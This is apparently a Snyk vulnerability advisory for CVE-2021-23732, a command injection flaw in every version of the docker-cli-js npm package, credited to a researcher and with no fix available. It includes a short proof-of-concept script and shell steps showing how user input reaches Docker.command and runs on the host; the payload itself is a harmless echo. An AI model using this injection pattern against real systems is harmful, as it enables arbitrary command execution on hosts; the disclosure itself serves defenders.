Arbitrary Code Execution Affecting docker-cli-js package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
3.1% (92nd percentile)

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  • Snyk IDSNYK-JS-DOCKERCLIJS-1568516
  • published2 Nov 2021
  • disclosed23 Aug 2021
  • creditPaul-Emmanuel Raoul of SkypLabs

Introduced: 23 Aug 2021

CVE-2021-23732  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for docker-cli-js.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.

Steps to Reproduce

  1. Create a file named exploit.js with the following content:

    var dockerCLI = require('docker-cli-js');
    var DockerOptions = dockerCLI.Options;
    var Docker = dockerCLI.Docker;
    
    

    var docker = new Docker();

    var userInput = "echo 'Hello from the container'";

    docker.command(exec container-test bash -c "${userInput}", function (err, data) { console.log('data = ', data); });

  2. In the same directory as exploit.js, run npm install docker-cli-js.

  3. Create a background Docker container named container-test: docker run --name container-test -d ubuntu sleep 1000

  4. Run exploit.js: node exploit.js.

You should see the outputs of both the container and host system.

CVSS Scores

version 3.1